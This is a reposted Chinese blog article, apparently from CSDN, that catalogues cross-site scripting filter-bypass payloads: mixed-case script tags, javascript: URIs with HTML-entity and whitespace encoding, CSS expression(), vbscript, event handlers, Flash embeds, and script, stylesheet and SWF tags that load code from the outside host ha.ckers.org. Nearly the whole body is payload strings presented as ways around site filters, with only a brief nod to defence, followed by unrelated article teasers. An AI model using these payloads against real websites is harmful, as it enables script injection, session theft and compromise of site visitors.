XSS的常见变换--XSS攻击发展

最新推荐文章于 2023-11-10 09:38:22 发布
最新推荐文章于 2023-11-10 09:38:22 发布
阅读量598 收藏
点赞数
分类专栏： XSS学习

XSS不具有浏览器通用性。不同的浏览器对同一XSS的适用不一样。相比较而言，IE8和Firefox相对更安全，本身就对XSS攻击有更严格的过滤。而IE6的安全性一般，即使攻击者的代码有些“变形”，浏览器还是会“尽力而为”的解析。而其他的一些浏览器如opera，XSS安全处理可能做得更差。

本文基本上是在IE6的基础上给大家分析XSS的变形和绕过。以便大家有针对性的防护。作者参阅了互联网上一些XSS攻防实战的例子，汇总成此文。

一、具体内容

XSS的一般原始构造:

<script>alert("anyunix")</script>

上述构造方式由于太过直接而容易被过滤，实际上，针对不同站点的不同过滤机制，对原始构造的适当变形有时就能绕过不少对XSS的检测。

二、发展

1:很简单，大家都知道会把<script>过滤掉,却往往忽略了大小写:

<sCripT>alert("anyunix")</Script>

2:<script>彻底被过滤了也不要紧，很多对象可以支持“javascript:”的形式代码执行:

<IMG SRC=javascript:alert("anyunix")>

3：当简单的"javascript"形式也被彻底过滤后。我们发现很多对象支持“&#ASCII”的表示方法，

<img src=j&#97vascript:alert("anyunix")>

<img src=j&#97;vascript:alert('anyunix')>

<img src=j&#x61vascript:alert('anyunix')>

<img src=j&#x61;vascript:alert('anyunix')>

&#97可以写成&#097,&#0097直至&#0000097也是可以执行的。

&#x61也是可以写成&#061,&#0061直至&#000061的。

4:如果上述编码亦被还原过滤，可以填入空格、制表符、换行符等空白字符：

<IMG SRC="jav ascript:alert('anyunix');">

5:也可以嵌入编码过后的TAB键等,char09,char10,char13都可以被嵌入:

<IMG SRC="jav&#x09;ascript:alert('anyunix');">

<IMG SRC="jav&#x0A;ascript:alert('anyunix');">

<IMG SRC="jav&#x0D;ascript:alert('anyunix');">

6:当直接用“javascript”终于被彻底禁绝，我们还可以使用其他属性执行XSS。

<DIV STYLE="width:expression(alert('anyunix'));">

<IMG SRC='vbscript:msgbox("anyunix")'>

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

7:然后，理所当然衍生了新的绕过方式和利用形式。

A):插入注释/*....*/做干扰

<IMG STYLE="xss:expr/*XSS*/ession(alert('anyunix'))">

B):全角字符的干扰

<DIV STYLE="width:ｅｘpreｓsion(alert('anyunix'));">

C):“\”的干扰

<STYLE>@im\po\rt'http://ha.ckers.org/xss.css';</STYLE>

8:如果直接执行被完全过滤，那我们就利用事件来执行XSS

<img src="#"οnerrοr=alert('anyunix')>

<img src=http://images.51cto.com/files/uploadimg/20130407/1014480.png"οnmοusemοve=alert(163)>

<BODY ONLOAD=alert('anyunix')>

<isindex type=imagesrc=1οnerrοr=alert('anyunix')>

9:flash可以用来执行XSS

<EMBED SRC="http://ha.ckers.org/xss.swf"AllowScriptAccess="always"></EMBED>

10:也可以利用各种其他标签

<BODY BACKGROUND="javascript:alert('XSS')">

<IMG DYNSRC="javascript:alert('XSS')">

<LINK REL="stylesheet"HREF="http://ha.ckers.org/xss.css">

<TABLE BACKGROUND="javascript:alert('XSS')">

其他的一些用于混淆、干扰和绕过的bypass实例:

<SCRIPTa=">"SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT=">"SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPTa=">'>"SRC="http://ha.ckers.org/xss.js"></SCRIPT>

perl-e'print"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";'>out

<IMG SRC="&#14; javascript:alert('XSS');">

如上，就是一些比较常见和实用的XSS绕过方法。在实际的运用中，往往是多种方法结合起来。


文章转载：http://netsecurity.51cto.com/art/201304/387678.htm

勿语星空丶
关注
专栏目录
XSS跨站脚本攻击过程的讲解
whucaodi的专栏
12-17 3141
跨站脚本攻击（也称为XSS）指利用网站漏洞从用户那里恶意盗取信息。以下为能够演示器原理的完整样例：1.角色分配有XSS漏洞的网站 受害访问者。也就是浏览器 黑客的数据接受网站2.源码实例2.1漏洞网站漏洞网站：http://localhost/xss.php<?php session_start(); ?> <!doctype html> <html> <head> <t
什么是 XSS 攻击，如何避免？
黑马程序员广州中心的专栏
05-18 473
XSS 攻击，即跨站脚本攻击（Cross Site Scripting），它是 web 程序中常见的漏洞。 原理 攻击者往 web 页面里插入恶意的 HTML 代码（Javascript、css、html 标签等），当用户浏览该页面时，嵌入其中的 HTML 代码会被执行，从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作，破坏页面结构、重定向到其他网站等。 种类 1、DOM Based XSS：基于网页 DOM 结构的攻击 例如： input 标签 value 属性赋值 //jsp &..
XSS的常见变换--XSS***发展
weixin_34194359的博客
09-23 139
XSS不具有浏览器通用性。不同的浏览器对同一XSS的适用不一样。相比较而言，IE8和Firefox相对更安全，本身就对XSS***有更严格的过滤。而IE6的安全性一般，即使***者的代码有些“变形”，浏览器还是会“尽力而为”的解析。而其他的一些浏览器如opera，XSS安全处理可能做得更差。本文基本上是在IE6的基础上给大家分析XSS的变形和绕过。以便大家有针对性的防护。作者...
XSS转码
CL1250887989的博客
04-24 449
XSS转码引发的过滤问题 有攻就有防，网站程序员肯定不会放任大家利用XSS，所以他们常会过滤类似javascript的关键字符，让大家构造不了自己的XSS，我这里就捡两个被忽略惯了的字符来说，它们是"&"和"\".首先来说说"&"字符，玩过SQL注入的都知道，注入的语句可以转成16进制再赋给一个变量运行，XSS的转码和这个还真有异曲同工之妙，原因是我们的IE浏览...
XSS攻击
ailunlee的博客
07-30 587
XSS攻击 1 XSS简介 XSS跨站脚本攻击（Cross Site Scripting），就是攻击者在web页面插入恶意的script代码，当用户浏览该页面之时，嵌入其中web里面的script代码会被执行，从而达到恶意攻击用户的特殊目的。 2 XSS的类型 2.1 反射型XSS 反射型XSS只是简单的把用户输入的数据“反射”给浏览器。也就是说需要诱使用户“...
XSS简介
不怕死的假老练
09-05 864
一、概述 XSS（Cross Site Script），即跨站脚本攻击，是指攻击者通过在Web页面中写入恶意脚本，造成用户在浏览页面时，控制用户浏览器进行操作的攻击方式。 跨站脚本攻击（XSS），是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中，当正常用户访问该页面时，则可导致嵌入的恶意脚本代码的执行，从而达到恶意攻击用户的目的。 二、分类 1.反射型XSS 攻击方式：攻击者构造好get请求参数，将带有恶意参数的链接发给受害者，诱使受害人点击后，服务器
XSS攻击变换与防御策略探索
"本文主要探讨了XSS（跨站脚本攻击）的常见变换和处理策略，重点关注如何绕过过滤机制。文章指出XSS在不同浏览器中的表现和处理方式存在差异，IE8和Firefox相对较安全，而IE6和其他一些浏览器如Opera的安全性较差。...
XSS攻击与防御全面指南
总结来说，XSS攻击是一种严重威胁，需要网站开发者采取严格的防御措施，包括但不限于输入验证、输出编码、设置合适的浏览器安全策略。同时，用户也应提高警惕，避免点击来源不明的链接，以保护个人信息安全。
xss 常见绕过方式
07-27
- *1* [XSS常见的绕过手法](https://blog.csdn.net/Redredredfish/article/details/121748503)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search...
xss名称的由来
alohai的博客
01-25 916
xss全称为 “Cross-site scripting” 它的名称为啥不叫css呢，这是因为和excel中的重名了，所以命名为xss。
XSS攻击常识及常见的XSS攻击脚本汇总
求天下者，积少成多
06-01 1802
一、什么是XSS?XSS全称是Cross Site Scripting即跨站脚本，当目标网站目标用户浏览器渲染HTML文档的过程中，出现了不被预期的脚本指令并执行时，XSS就发生了。这里我们主要注意四点：1、目标网站目标用户；2、浏览器；3、不被预期；4、脚本。二、XSS有什么危害？当我们知道了什么是XSS后，也一定很想知道它到底有什么用，或者有什么危害，如何防御。关于XSS有关危害，我这里中罗列一
xss漏洞原因以及如何应对
风烟
01-26 9356
场景一：获取URL参数含有脚本执行 比如我们需要获取URL中某个参数，然后输出到页面当中 比如链接是http://xxx?search="><script>alert('xss')</script>这种，我们解析search参数拼接html的之后直接用了这个参数，这个时候浏览器不知道是恶意代码，直接就执行了， <div> xxx: "><script>alert('xss')</script> </div> 这
Java后台解决request请求体不能重复读取+解决XSS漏洞问题
BHSZZY的博客
08-24 2164
本文使用了3个java类，原理是使用过滤器，封装一个自定义的HttpServletRequest对象，重写其中的、等方法，替换掉非法字符\等，使得从request中获得的key-value类型参数、header参数、请求体(包含json)参数是合法字符，以防止XSS漏洞；同时增加了request请求体可以重复读取的功能。
xss攻击详解
剁椒鱼头没剁椒的博客
11-15 8963
XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。
全网最详细 XSS 跨站脚本攻击，不是过来打死我!!
最新发布
liuhyusb的博客
11-10 8293
Tom 发现 Bob 的站点存在反射性的 XSS 漏洞 Tom 利用 Bob 网站的反射型 XSS 漏洞编写了一个 exp，做成链接的形式，并利用各种手段诱使 Alice 点击 Alice 在登录到 Bob 的站点后，浏览了 Tom 提供的恶意链接嵌入到恶意链接中的恶意脚本在 Alice 的浏览器中执行。当用户登录了存在漏洞的网站，并且用户点击了我们构造的恶意链接时，该恶意链接的页面加载完后会执行 js 代码，完成表单的提交，表单的用户名参数是我们的恶意 js 代码。XSS 攻击针对的是用户层面的攻击！
Xss总结
code_lab
06-13 784
1. 什么都没过滤的入门情况< script>alert(1)< /script>(练习时去掉空格) < img src=”XXXX”> < img src=1 onerror=alert(1);> 2. 输出在< script>< /script>之间的情况1.< /script>< script>XXX 2.针对输出在不同的场景，进行合适的过滤。 3. 输出在HTML属性里的情况有时候,输
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值